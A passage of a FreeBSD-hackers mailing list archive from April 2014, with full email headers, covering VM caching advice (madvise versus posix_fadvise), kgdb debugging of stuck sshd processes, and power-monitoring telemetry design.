with ESMTPS id 8CF7E9AA for ; Thu, 3 Apr 2014 15:03:59 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 643148D4 for ; Thu, 3 Apr 2014 15:03:59 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 654F4B968; Thu, 3 Apr 2014 11:03:54 -0400 (EDT) From: John Baldwin To: Dmitry Sivachenko Subject: Re: madvise() vs posix_fadvise() Date: Thu, 3 Apr 2014 11:02:38 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <201403271141.41487.jhb@freebsd.org> <0AF273E6-CD43-417C-A00C-5B7445090D5B@gmail.com> In-Reply-To: <0AF273E6-CD43-417C-A00C-5B7445090D5B@gmail.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201404031102.38598.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 03 Apr 2014 11:03:55 -0400 (EDT) Cc: freebsd-hackers@freebsd.org, Trond =?utf-8?q?Endrest=C3=B8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 15:03:59 -0000 On Thursday, April 03, 2014 7:29:03 am Dmitry Sivachenko wrote: >=20 > On 27 =D0=BC=D0=B0=D1=80=D1=82=D0=B0 2014 =D0=B3., at 19:41, John Baldwin= wrote: > >>=20 > >> I know about mlock(2), it is a bit overkill. > >> Can someone please explain the difference between madvise(MADV_WILLNEE= D) and=20 > > posix_fadvise(POSIX_FADV_WILLNEED)? > >=20 > > Right now FADV_WILLNEED is a nop. (I have some patches to implement it= for > > UFS.) I can't recall off the top of my head if MADV_WILLNEED is also a= nop. > > However, if both are fully implemented they should be similar in terms = of > > requesting async read-ahead. MADV_WILLNEED might also conceivably > > pre-create PTEs while FADV_WILLNEED can be used on a file that isn't > > mapped but is accessed via read(2). > >=20 >=20 >=20 > Hello and thanks for your reply. >=20 > Right now I am facing the following problem (stable/10): > There is a (home-grown) webserver which mmap's a large amount of data fil= es (total size is a bit below of RAM, say ~90GB of files with 128GB of RAM). > Server writes access.log (several gigabytes per day). >=20 > Some of mmaped data files are used frequently, some are used rarely. On s= tartup, server walks through all of these data files so it's content is rea= d=20 from disk. >=20 > After some time of running, I see that rarely used data files are purged = from RAM (access to them leads to long-running disk reads) in favour of dis= k=20 cache > (at 0:00, when I rotate and gzip log file I see Inactive memory goes down= to the value of log file size). >=20 > Is there any way to tell VM system not to push mmap'ed regions out of RAM= in favour of disk caches? Use POSIX_FADV_NOREUSE with fadvise() for the log files. They are a perfect use case for this flag. This will tell the VM system to throw the log data (move it to cache) after it writes the file. =2D-=20 John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 15:03:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 89A069A9 for ; Thu, 3 Apr 2014 15:03:59 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 616338D3 for ; Thu, 3 Apr 2014 15:03:59 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id A6AAAB980; Thu, 3 Apr 2014 11:03:55 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Thu, 3 Apr 2014 11:03:40 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404021405.56878.jhb@freebsd.org> <9FDC091D98AB2CF92DE4399F@Mail-PC.tdx.co.uk> In-Reply-To: <9FDC091D98AB2CF92DE4399F@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201404031103.41171.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 03 Apr 2014 11:03:55 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 15:03:59 -0000 On Thursday, April 03, 2014 4:02:21 am Karl Pielorz wrote: >=20 > --On 02 April 2014 14:05 -0400 John Baldwin wrote: >=20 > > Grr, I guess that's what I should have expected. Was sort of hoping to > > be able to see which socket it was blocked on. Can you run 'kgdb' as r= oot > > (no args), then do 'proc 4346' and 'bt'? If you are familiar with gdb, > > walk up to the frame that in sys_read and do 'p *uap' so we can see whi= ch > > fd is being read. >=20 > Ok, think I've done this right (if not, let me know what I should be doin= g=20 > :) >=20 > " > ... > (kgdb) up > #9 0xffffffff80903133 in sys_read (td=3D, uap=3D optimized out>) at ../../../kern/sys_generic.c:171 > 171 error =3D kern_readv(td, uap->fd, &auio); > (kgdb) p *uap > $1 =3D {fd_l_ =3D 0xfffff800238bb920 "\b\021I\201=C3=BF=C3=BF=C3=BF=C3=BF= ", fd =3D -2125917944,=20 > fd_r_ =3D "=C3=BF=C3=BF=C3=BF=C3=BF", buf_l_ =3D 0xfffff800238bb928 "", b= uf =3D=20 > 0xfffff800237a1000, > buf_r_ =3D 0xfffff800238bb930 "", nbyte_l_ =3D 0xfffff800238bb930 "", n= byte =3D=20 > 0, nbyte_r_ =3D 0xfffff800238bb938 "\020\020z#"} Hmm, that fd value doesn't make any sense now. Do you have the backtrace f= or that process? The fd may show up in the arguments to kern_readv(). =2D-=20 John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 15:44:06 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B1A2B8BB; Thu, 3 Apr 2014 15:44:06 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 82055C83; Thu, 3 Apr 2014 15:44:06 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WVjoC-000Keq-Vl; Thu, 03 Apr 2014 15:44:05 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s33FhvCN087312; Thu, 3 Apr 2014 09:43:57 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX18YoHskf+m1vB2k/ZfxgUTS Subject: Re: madvise() vs posix_fadvise() From: Ian Lepore To: John Baldwin In-Reply-To: <201404031102.38598.jhb@freebsd.org> References: <201403271141.41487.jhb@freebsd.org> <0AF273E6-CD43-417C-A00C-5B7445090D5B@gmail.com> <201404031102.38598.jhb@freebsd.org> Content-Type: text/plain; charset="koi8-r" Date: Thu, 03 Apr 2014 09:43:57 -0600 Message-ID: <1396539837.81853.278.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by damnhippie.dyndns.org id s33FhvCN087312 Cc: freebsd-hackers@FreeBSD.org, Dmitry Sivachenko , Trond =?ISO-8859-1?Q?Endrest=F8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 15:44:06 -0000 On Thu, 2014-04-03 at 11:02 -0400, John Baldwin wrote: > On Thursday, April 03, 2014 7:29:03 am Dmitry Sivachenko wrote: > >=20 > > On 27 =CD=C1=D2=D4=C1 2014 =C7., at 19:41, John Baldwin wrote: > > >>=20 > > >> I know about mlock(2), it is a bit overkill. > > >> Can someone please explain the difference between madvise(MADV_WIL= LNEED) and=20 > > > posix_fadvise(POSIX_FADV_WILLNEED)? > > >=20 > > > Right now FADV_WILLNEED is a nop. (I have some patches to implemen= t it for > > > UFS.) I can't recall off the top of my head if MADV_WILLNEED is al= so a nop. > > > However, if both are fully implemented they should be similar in te= rms of > > > requesting async read-ahead. MADV_WILLNEED might also conceivably > > > pre-create PTEs while FADV_WILLNEED can be used on a file that isn'= t > > > mapped but is accessed via read(2). > > >=20 > >=20 > >=20 > > Hello and thanks for your reply. > >=20 > > Right now I am facing the following problem (stable/10): > > There is a (home-grown) webserver which mmap's a large amount of data= files (total size is a bit below of RAM, say ~90GB of files with 128GB o= f RAM). > > Server writes access.log (several gigabytes per day). > >=20 > > Some of mmaped data files are used frequently, some are used rarely. = On startup, server walks through all of these data files so it's content = is read=20 > from disk. > >=20 > > After some time of running, I see that rarely used data files are pur= ged from RAM (access to them leads to long-running disk reads) in favour = of disk=20 > cache > > (at 0:00, when I rotate and gzip log file I see Inactive memory goes = down to the value of log file size). > >=20 > > Is there any way to tell VM system not to push mmap'ed regions out of= RAM in favour of disk caches? >=20 > Use POSIX_FADV_NOREUSE with fadvise() for the log files. They are a pe= rfect > use case for this flag. This will tell the VM system to throw the log = data > (move it to cache) after it writes the file. >=20 > --=20 > John Baldwin Does that work well in the case of something like /var/log/messages that is repeatedly appended-to at random intervals? It would be bad if every new line written to the log triggered a physical read-modify-write. On the other hand if it somehow results in the last / partitial block being the only one likely to stay in memory, that would be perfect. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 15:48:41 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D5278A19; Thu, 3 Apr 2014 15:48:41 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id ACC54CC2; Thu, 3 Apr 2014 15:48:41 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id 53F7D73C5C; Thu, 3 Apr 2014 08:48:40 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 98736-04; Thu, 3 Apr 2014 08:48:40 -0700 (PDT) Received: from [192.168.3.178] (unknown [124.195.210.70]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 3219773C55; Thu, 3 Apr 2014 08:48:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1396540120; bh=Wq/QfKojUaGI82sZwc3g4hzG3G+TIRmDphan79te8YY=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=kB7w8+0YnPOAvIAVRaNEpZpRQt7kcIy5Q3sLUKVkuwdfk1UQ72NeYHTCqrdv/ztDV HAmIb8XWSGUqo7N+XHD2uqHnhCO6KvsHQezWHgt4bWv2oq9Wwg4AG2/bzZjxH78DC9 uDD4Kuvzj6DZ0O4wo6ZQ7u7z+kIP8L9xVJvQWUG0= Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Power Efficiency (was Re: Leaving the Desktop Market) From: Jordan Hubbard In-Reply-To: Date: Thu, 3 Apr 2014 20:48:17 +0500 Content-Transfer-Encoding: quoted-printable Message-Id: <7C720BEE-7440-4678-9322-988F68E6754F@ixsystems.com> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140403034150.GA78653@regency.nsu.ru> <89A553DC-199A-47E3-B352-34A4CDCAC4E4@ixsystems.com> To: Alan Somers X-Mailer: Apple Mail (2.1874) Cc: Alexey Dokuchaev , "freebsd-hackers@freebsd.org" , David Chisnall , Eitan Adler X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 15:48:41 -0000 On Apr 3, 2014, at 7:50 PM, Alan Somers wrote: > Instead of reinventing the wheel, how about porting powertop to > FreeBSD? It's already got several output modes, and it's designed to > monitor the same kind of hardware that FreeBSD users have. The only > downside is that it relies on Linux's sysfs, and possibly some other > Linux-specific APIs as well. Still, I think it would be easier for us > to add a few sysctls and port powertop to use a sysctl interface than > it would be to rewrite everything from scratch. I don=92t think this is re-inventing the wheel as much as you might = think, and here=92s why: 1. A comprehensive monitoring framework, such as I described, does a lot = more than tell you that a device or a process is using X joules of = power. That kind of information just by itself is actually not = particularly useful, since it doesn=92t tell you where specifically in = the code that power is actually being consumed or what external events = to correlate against it (the code itself may be innocuous but only = become pathological in the presence of other factors). To use a microscope analogy, what powertop gives you is essentially the = lowest magnification factor. It=92s nice for the first level of =93hmmm, = that=92s weird!=94 deduction, but then you'll immediately want to =93zoom = in=94 and figure out what parts of the code are actually hot and/or what = kernel services are being called the most often by the offending process = or device driver, at which point you'll then want to zoom in again on = that part of the kernel to see what it=92s doing. That=92s why you really want to think of the telemetry problem from the = bottom up. A tool like top(1) (or Activity Monitor, if you want to get = all graphical about it) is, no pun intended, at the top of the stack. = It=92s where the highest level of summarization takes place, but all the = data it uses also needs to be readily available to the various analysis = tools which will actually ultimately lead you to one or more lines of = code that need changing, an exercise that often isn=92t as = straight-forward as looking at raw profiling counters but requires a = fair amount of cross-correlation between seemingly unrelated activities. 2. If you look at the powertop code (and I have - version 2.5 to be = specific) you=92ll quickly see that there=92s really not much there. = It=92s leveraging a lot of work that=92s already been done in the linux = kernel to provide the interrupt/timer/wakeup statistics and the = device-specific information, work which would all need to be = re-implimented (or impedance matched to powertop) in FreeBSD=92s own = kernel. The resulting powertop code base would bear so little = resemblance to the linux original you would have indeed reinvented the = wheel almost entirely at the end, and suffered the consequences of = starting with someone else=92s specs for a wheel rather than your own. In any case, even if powertop had already been ported to FreeBSD and was = running with full functionality, I would still want to start with a = thorough examination of the problem and what kinds of telemetry data we = wanted rather than coming straight at this with an existing solution and = trying to, in effect, short-circuit the whole analysis phase first. = That=92s usually a bad idea, and I don=92t think we=92ve examined the = problem we want to solve in enough detail to be casting around for = solutions just yet. We=92ll have plenty of time for that later, once = we=92re all sure we=92re on the same page about what we want. Believe = me, I=92ve been through this whole exercise once before (for both mobile = and desktop devices) and it=92s nowhere near as straight-forward as it = first seems! - Jordan From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 15:59:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2633FD5A; Thu, 3 Apr 2014 15:59:15 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id A5D8EDB0; Thu, 3 Apr 2014 15:59:14 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s33Fx7HP030102 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Apr 2014 16:59:08 +0100 (BST) Date: Thu, 03 Apr 2014 16:59:07 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <6F730B3126CC5AE636D1E2A0@Mail-PC.tdx.co.uk> In-Reply-To: <201404031103.41171.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404021405.56878.jhb@freebsd.org> <9FDC091D98AB2CF92DE4399F@Mail-PC.tdx.co.uk> <201404031103.41171.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 15:59:15 -0000 --On 03 April 2014 11:03 -0400 John Baldwin wrote: > Hmm, that fd value doesn't make any sense now. Do you have the backtrace > for that process? The fd may show up in the arguments to kern_readv(). Ok, bt shows: " #0 sched_switch (td=0xfffff800238bb920, newtd=, flags=) at ../../../kern/sched_ule.c:1938 #1 0xffffffff808be76e in mi_switch (flags=260, newtd=0x0) at ../../../kern/kern_synch.c:494 #2 0xffffffff808f9002 in sleepq_catch_signals (wchan=0xfffff80002da4c24, pri=104) at ../../../kern/subr_sleepqueue.c:429 #3 0xffffffff808f8eaf in sleepq_wait_sig (wchan=0x0, pri=0) at ../../../kern/subr_sleepqueue.c:634 #4 0xffffffff808be195 in _sleep (ident=, lock=, priority=360, wmesg=0xffffffff80efbd30 "sbwait", sbt=, pr=0, flags=) at ../../../kern/kern_synch.c:254 #5 0xffffffff8092328c in sbwait (sb=) at ../../../kern/uipc_sockbuf.c:130 #6 0xffffffff80926b44 in soreceive_generic (so=0xfffff80002da4ae0, psa=0x0, uio=0xfffffe0000341ab0, mp0=0x0, controlp=0x0, flagsp=0x0) at ../../../kern/uipc_socket.c:1496 #7 0xffffffff8090346b in dofileread (td=0xfffff800238bb920, fd=8, fp=0xfffff80002cf86e0, auio=0xfffffe0000341ab0, offset=, flags=0) at file.h:295 #8 0xffffffff809031a5 in kern_readv (td=0xfffff800238bb920, fd=8, auio=0xfffffe0000341ab0) at ../../../kern/sys_generic.c:256 #9 0xffffffff80903133 in sys_read (td=, uap=) at ../../../kern/sys_generic.c:171 #10 0xffffffff80c96cd7 in amd64_syscall (td=0xfffff800238bb920, traced=0) at subr_syscall.c:134 #11 0xffffffff80c7d3fb in Xfast_syscall () at ../../../amd64/amd64/exception.S:391 #12 0x000000080320d9ea in ?? () " So, fd=8? - fstat seems to show that as: " USER CMD PID FD MOUNT INUM MODE SZ|DV R/W root sshd 4346 8* local stream fffff80002e55c30 <-> fffff80002e552d0 ... root sshd 4344 4* local stream fffff80002e552d0 <-> fffff80002e55c30 " Netstat shows those as: " Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr fffff80002e55c30 stream 0 0 0 fffff80002e552d0 0 0 fffff80002e552d0 stream 0 0 0 fffff80002e55c30 0 0 " Let me know what you want running next, maybe something more sensible, or useful than what I just ran above :-) Regards, -Karl From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 17:17:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3AB75B01 for ; Thu, 3 Apr 2014 17:17:51 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 12763818 for ; Thu, 3 Apr 2014 17:17:51 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id F3BDAB9C9; Thu, 3 Apr 2014 13:17:49 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Thu, 3 Apr 2014 12:32:16 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404031103.41171.jhb@freebsd.org> <6F730B3126CC5AE636D1E2A0@Mail-PC.tdx.co.uk> In-Reply-To: <6F730B3126CC5AE636D1E2A0@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404031232.16465.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 03 Apr 2014 13:17:50 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 17:17:51 -0000 On Thursday, April 03, 2014 11:59:07 am Karl Pielorz wrote: > > --On 03 April 2014 11:03 -0400 John Baldwin wrote: > > > Hmm, that fd value doesn't make any sense now. Do you have the backtrace > > for that process? The fd may show up in the arguments to kern_readv(). > > Ok, bt shows: > > " > #0 sched_switch (td=0xfffff800238bb920, newtd=, > flags=) at ../../../kern/sched_ule.c:1938 > #1 0xffffffff808be76e in mi_switch (flags=260, newtd=0x0) at > ../../../kern/kern_synch.c:494 > #2 0xffffffff808f9002 in sleepq_catch_signals (wchan=0xfffff80002da4c24, > pri=104) at ../../../kern/subr_sleepqueue.c:429 > #3 0xffffffff808f8eaf in sleepq_wait_sig (wchan=0x0, pri=0) at > ../../../kern/subr_sleepqueue.c:634 > #4 0xffffffff808be195 in _sleep (ident=, lock= optimized out>, priority=360, wmesg=0xffffffff80efbd30 "sbwait", > sbt=, pr=0, flags=) at > ../../../kern/kern_synch.c:254 > #5 0xffffffff8092328c in sbwait (sb=) at > ../../../kern/uipc_sockbuf.c:130 > #6 0xffffffff80926b44 in soreceive_generic (so=0xfffff80002da4ae0, > psa=0x0, uio=0xfffffe0000341ab0, mp0=0x0, controlp=0x0, flagsp=0x0) > at ../../../kern/uipc_socket.c:1496 > #7 0xffffffff8090346b in dofileread (td=0xfffff800238bb920, fd=8, > fp=0xfffff80002cf86e0, auio=0xfffffe0000341ab0, offset= out>, flags=0) > at file.h:295 > > > #8 0xffffffff809031a5 in kern_readv (td=0xfffff800238bb920, fd=8, > auio=0xfffffe0000341ab0) at ../../../kern/sys_generic.c:256 > > > #9 0xffffffff80903133 in sys_read (td=, uap= optimized out>) at ../../../kern/sys_generic.c:171 > #10 0xffffffff80c96cd7 in amd64_syscall (td=0xfffff800238bb920, traced=0) > at subr_syscall.c:134 > #11 0xffffffff80c7d3fb in Xfast_syscall () at > ../../../amd64/amd64/exception.S:391 > #12 0x000000080320d9ea in ?? () > " > > So, fd=8? - fstat seems to show that as: > > " > USER CMD PID FD MOUNT INUM MODE SZ|DV R/W > root sshd 4346 8* local stream fffff80002e55c30 <-> fffff80002e552d0 > ... > root sshd 4344 4* local stream fffff80002e552d0 <-> fffff80002e55c30 > " Right, so it's just blocked on a UNIX domain socket from the parent waiting for the parent to tell it to do something. The root issue is the parent (as I feared). Is 4344 threaded (procstat -t?) -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 17:17:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 95B4FAFF; Thu, 3 Apr 2014 17:17:50 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6C314817; Thu, 3 Apr 2014 17:17:50 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 5A017B980; Thu, 3 Apr 2014 13:17:49 -0400 (EDT) From: John Baldwin To: Ian Lepore Subject: Re: madvise() vs posix_fadvise() Date: Thu, 3 Apr 2014 12:30:40 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <201404031102.38598.jhb@freebsd.org> <1396539837.81853.278.camel@revolution.hippie.lan> In-Reply-To: <1396539837.81853.278.camel@revolution.hippie.lan> MIME-Version: 1.0 Content-Type: Text/Plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Message-Id: <201404031230.40380.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 03 Apr 2014 13:17:49 -0400 (EDT) Cc: freebsd-hackers@freebsd.org, Dmitry Sivachenko , Trond =?iso-8859-1?q?Endrest=F8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 17:17:50 -0000 On Thursday, April 03, 2014 11:43:57 am Ian Lepore wrote: > On Thu, 2014-04-03 at 11:02 -0400, John Baldwin wrote: > > On Thursday, April 03, 2014 7:29:03 am Dmitry Sivachenko wrote: > > >=20 > > > On 27 =CD=C1=D2=D4=C1 2014 =C7., at 19:41, John Baldwin wrote: > > > >>=20 > > > >> I know about mlock(2), it is a bit overkill. > > > >> Can someone please explain the difference between madvise(MADV_WIL= LNEED) and=20 > > > > posix_fadvise(POSIX_FADV_WILLNEED)? > > > >=20 > > > > Right now FADV_WILLNEED is a nop. (I have some patches to implemen= t it for > > > > UFS.) I can't recall off the top of my head if MADV_WILLNEED is al= so a nop. > > > > However, if both are fully implemented they should be similar in te= rms of > > > > requesting async read-ahead. MADV_WILLNEED might also conceivably > > > > pre-create PTEs while FADV_WILLNEED can be used on a file that isn't > > > > mapped but is accessed via read(2). > > > >=20 > > >=20 > > >=20 > > > Hello and thanks for your reply. > > >=20 > > > Right now I am facing the following problem (stable/10): > > > There is a (home-grown) webserver which mmap's a large amount of data= files (total size is a bit below of RAM, say ~90GB of files with 128GB of= =20 RAM). > > > Server writes access.log (several gigabytes per day). > > >=20 > > > Some of mmaped data files are used frequently, some are used rarely. = On startup, server walks through all of these data files so it's content=20 is read=20 > > from disk. > > >=20 > > > After some time of running, I see that rarely used data files are pur= ged from RAM (access to them leads to long-running disk reads) in favour=20 of disk=20 > > cache > > > (at 0:00, when I rotate and gzip log file I see Inactive memory goes = down to the value of log file size). > > >=20 > > > Is there any way to tell VM system not to push mmap'ed regions out of= RAM in favour of disk caches? > >=20 > > Use POSIX_FADV_NOREUSE with fadvise() for the log files. They are a pe= rfect > > use case for this flag. This will tell the VM system to throw the log = data > > (move it to cache) after it writes the file. > >=20 > > --=20 > > John Baldwin >=20 > Does that work well in the case of something like /var/log/messages that > is repeatedly appended-to at random intervals? It would be bad if every > new line written to the log triggered a physical read-modify-write. On > the other hand if it somehow results in the last / partitial block being > the only one likely to stay in memory, that would be perfect. The latter. It's sort of like a lazy O_DIRECT. Each time you call write(2= ), it tries to move any clean pages from your current sequentially written stream from inactive to cache, so the pages won't move until a subsequent write(2) after bufdaemon or the syncer actually forces them to be written. Unfortunately, it is currently implemented by doing an internal =46ADV_DONTNEED after each read() or write(). It would be better if it was implemented as a callback when buffers are completed. =2D-=20 John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 19:10:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 